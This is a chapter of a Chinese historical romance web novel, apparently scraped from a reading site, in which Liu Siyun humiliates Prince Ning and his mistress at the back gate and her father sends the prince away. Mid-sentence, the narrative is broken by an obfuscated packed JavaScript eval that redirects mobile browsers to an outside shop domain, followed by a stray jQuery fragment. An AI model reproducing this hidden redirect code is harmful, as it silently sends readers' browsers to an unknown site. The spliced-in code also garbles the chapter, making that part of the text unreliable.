2. 敬酒不吃吃罚酒
    不过一盏茶的功夫,柳思韵便带着院中的小丫鬟到了角门处。

    远远瞧着那儿站着的高大身影的男子,以及一个柔弱苗条的女子。

    柳思韵心中了然,这就是宁王楚明煜了。

    眸子微眯,她将丫鬟们喊在原地站着,独自施施然走到了前头,状似不解的轻声咦道:“奇怪,不是说宁王来了,人在哪呢?”

    作罢,瞧也不瞧那树跟前躲着的两人,扭头就要走。

    见她如此,楚明煜急了,当下便现了身扬声喊:“柳大姑娘,暂且留步。”

    柳思韵勾勾唇,旋身望去,微微惊讶的掩住了唇:“你当真是宁王?”

    说着,眼中还显了些许不可置信,又掺杂着些许惊艳。

    楚明煜瞧见,还以为是被他俊朗的脸给吸引了,不由挺直几分腰背,缓声道:“正是本王,本王今日……”

    “那既是宁王殿下,怎的也不递拜帖,就这般站在了我相府的后门,亏得您说了,不然我还以为是今日给府上送菜的菜农,在这儿等着结赏银呢。”

    柳思韵眉头微蹙,端得一副大气温柔的模样,可说出来的话,却直让楚明煜脸黑了许多。

    “你!”

    “罢了,您贵为王爷站哪都使得,那您来了是为何事?”

    不等他发难,柳思韵已然犹自释然,一双清亮的眸子紧紧盯着他,两句话的功夫就将主动权握在了自己的手中。

    楚明煜轻咳一声,瞥了眼旁边静静站着的女子,只道:“本王来找你,是为了叫鸢儿给你磕个头行个礼,往后都是一家人,想必柳大姑娘也不会介怀。”

    话音未落,那被换作鸢儿的女子已然柔弱跪倒在地,张口就喊了声:

    “鸢儿见过姐姐。”

    此话一出,饶是做足了心理准备的柳思韵都被恶心到了。

    瞧着他振振有词,言之凿凿的模样。

    柳思韵轻向后退了两步,语调扬高了几分:“怪哉,府上惟有三位姑娘和两个少爷,这位姑娘张口叫我姐姐,莫不是我父亲……”

    “哎呀,那可多谢王爷了,值此端阳佳节您竟还将我失散的妹妹给找回来了,妹妹是为外室女所出,王爷于后院儿与我相见倒真是体恤。”

    “来人,快把妹妹给带进去,知会母亲,另外……”

    柳思韵一边说,还一边上前拉着那鸢儿,眼中泛红,望着楚明煜的眼神也充满了感激。

    她说的极快,那头的丫鬟们手脚也利索。

    楚明煜愣神之际,就已然围拢上前来。

    他忙的制止:“且慢!”

    说着,忙的就将人给拉起来护在了自己身后,看向柳思韵的目光也含了些许冰冷:“柳大姑娘,你这是要同本王装糊涂了。”

    “糊涂的是王爷吧。”

    柳思韵冷冷相回,从丫鬟手中拿过一方帕子,仔细擦了手,微微扬着下颌,明明比他矮了许多,可气质上却丝毫不落分毫。

    楚明煜眯眼:“你将是本王未来的王妃,迟早要同鸢儿姐妹相称。”

    “王爷,许是柳大姑娘不喜欢鸢儿,故而才同您置气呢,谁人不知今日端妃娘娘送的玉如意进了丞相府,这都是铁板钉钉的事儿,现如今这局面,是鸢儿的不好,既然柳大姑娘容不得鸢儿,那鸢儿……便就此同王爷别过就是。”

    不等柳思韵再度开口,就又有一道委屈的声音响起。

    她玩味的瞥向楚明煜的身后,并未说话。

    苏鸢儿说完,还作势在脸上抹了一把眼泪,那模样要多可怜有多可怜,直将楚明煜的心都说化了。

    “柳思韵,本王劝你不要敬酒不吃吃罚酒。”

    果不其然,楚明煜的火噌的涌了上来,气场全开,倒真有些骇人。

    柳思韵却丝毫不怕,只自顾扬着声音道:

    “婚姻之事,父母之命媒妁之言,没影的事儿,王爷却拿着一柄玉如意在此咄咄逼人。”

    “再说,端妃娘娘不过是送了节礼,怎的就宣扬的满京城人都知道了?”

    她幽幽说着,语气略带了几分恍然。

    看着旁边小丫鬟的眼色,柳思韵猛地捂住了嘴:“莫不是王爷想以此损了我的名声,好强逼父亲将我许给您……”

    “王爷,万万不可啊,我父亲一向清正廉明,是忠于陛下的纯臣,多年来兢兢业业为国效力从不敢逾矩半分,您如今这番,是要强逼我父亲站队于您啊!”

    “我一个人的名声不要紧,可父亲是万万不能被泼了脏水的!”

    “想必今日过后,我与王爷后院角门私会的闲语就要传扬出去了……桃儿,你且替我告诉父亲,父亲的名声,女儿是死也要维护的!”

    “倘若有来生,韵儿还做他的女儿!”

    变故来的快,柳思韵拉着小丫鬟说完,埋头就要撞去一旁的假山石上。

    楚明煜为了护着苏鸢儿,一时腾不出手,只能眼睁睁的瞧着,心中只觉不好,果不其然下一秒就听到不远处传来一声怒喝:

    “岂有此理!”

    一道黑影闪过,柳思韵被猛地拉住,她闭着眼睛,可却知道这是父亲培养的暗卫出手了。

    她站于一旁抹泪,余光却看见父亲柳昌言满面怒气的大步走来,盯着楚明煜毫不客气的开口:

    “宁王殿下,今日所发生的一切,臣自会于明日亲自到陛下面前诉说。”

    “小女无辜,朝堂争斗何苦牵连她。”

    “至于端妃娘娘的节礼,还烦请殿下走的时候,一并带回去罢。”

    “来人,宁王殿下走错了路,还不快将殿下请到前院,好生招待!”

    这下,楚明煜的脸当真是全黑了,可柳昌言却丝毫不管他,拂袖便走到柳思韵的身边,满眼欣慰,拉着她的手便宽慰道:“韵儿,是父亲来迟叫你受委屈了。”

    柳思韵眼尾泛红,轻轻摇头:“无妨,是女儿险些连累了父亲。”

    这儿上演着父女情深,却还有个小厮一脸为难的走上前:“老爷,那那位姑娘……”

    “既然是宁王殿下带的丫鬟,自是跟着王爷一并了。”

    柳昌言自是知道那女子挑唆,才叫自家女儿险些撞了石头,这会儿自是没什么好脸色。

    苏鸢儿脸色变了变,还想说什么,可此时楚明煜失了脸面,冷哼一声就转身走了,她只能忙的追上去,一会儿就走远了。

    待恢复了平静,柳昌言这才松开了柳思韵的手,皱眉吩咐一旁的阮儿:“前院儿还有宾客,耽误不得,你且先带韵儿回院儿里,叫人熬些安神汤送来。”

    说完,就要匆匆离去。

    柳思韵弱弱问了一句:“父亲,那母亲那边……”

    “妇人之仁!”

    柳昌言冷哼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742417|145180||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一声,头也不回的走了。

    得到这个答案,柳思韵心中提着的巨石这才落了地。

    一直到回了院儿里,关上屋门,她才重重松了一口气。

    宁王带着外室找上门来羞辱,她只回了几句嘴,确实有些憋屈了,可惟有这般,才能真的将父亲的怒火点燃,和宁王的婚事也才能够真正的作罢。

    经此一事,宁王不会再来烦扰,而母亲也会因着父亲的插手,暂时歇下给她说亲的念头。

    这算是一石二鸟了。

    只有这样,她才能有更多的时间去做自己想做的事情。

    柳思韵犹自庆幸着,可寂静的屋内又响起那道诡异的男声:

    “干得漂亮,不过这样一来,只怕等柳昌言咂摸过味儿来,这小妞只怕还要有麻烦。”

    “柳昌言当了这么多年丞相,被自个儿女儿利用了一道,只怕不会善了。”

    “诶我去,下课了,我得赶快吃饭去了……”

    怔神之际,屋内再度归于平静。

    柳思韵这次倒没被吓到,只因她觉得这“神秘人”说的,倒是真有几分道理。

    一时间,愁绪再起,倒也没能顾得探寻这离奇之事的来头。

    柳思韵垂眸想着,却半天没能理出个头绪。

    而此时,便听到端着安神汤推门而入的阮儿开口:“方才路过前院儿,听见那儿伺候的丫鬟说,尚书大人正炫耀他的女儿亲自去庙里待了七七四十九天,为他抄了佛经祈福呢。”

    “结果话还没说完,大少爷就将敬酒的酒盏给撒了老爷一身,老爷的脸都黑了……”

    闻言,柳思韵顿时有了注意。

    今日来的宾客大多都是朝中重臣,都是陛下的栋梁之材,仕途一片坦荡,谈论之资自然就是家中孩子之类的。

    尚书家的女儿乖巧懂事,身为父亲嫡长子的弟弟却让父亲在众人面前失了面子。

    不如自己赶在父亲想明白发难之前,先做些什么给父亲找回颜面,倒也能功过相抵,叫父亲少罚她些。

    这个念头一经想起,柳思韵眸子微眯,顿时就有了注意:

    “阮儿,你叫人去叫枫儿出来,就说是我和枫儿在皇恩寺为父亲求的主持开光的手串可以去取了,趁着过节,及时拿回来给父亲戴上,也算体现我们的一番孝心。”

    “记得找些嗓门大的小厮去喊。”

    柳思韵说完,自个儿也起身朝着外头走去,吩咐人赶来马车,站在门口等着弟弟柳承枫一头雾水的出来后,也不多做辩解,就将人拉了上去。

    车夫一扬鞭,马车驶动。

    “姐啊,这大热天的,你就不能放过弟弟我。”

    “咱们什么时候去给父亲求开光的手串了?”

    柳承枫今年不过七岁,正是活泼好动的年纪,原本和几个公子哥斗蛐蛐玩得不亦乐乎,冷不丁被拘在马车上,自是有几分怨言。

    柳思韵却不想同他多说,只细细盘算了一会儿回来该说些什么漂亮的场面话。

    可还没多久,原本行驶平稳的马车忽的便急急停住。

    随后,一道尖锐又带着几分刻薄的声音响了起来:

    “你这贱妮子,老娘非扒了你的皮!”

    “周家的花轿都到了,你竟为了本破书逃婚!”

    “甭啰嗦,今日你就是死,也得死在花轿上!”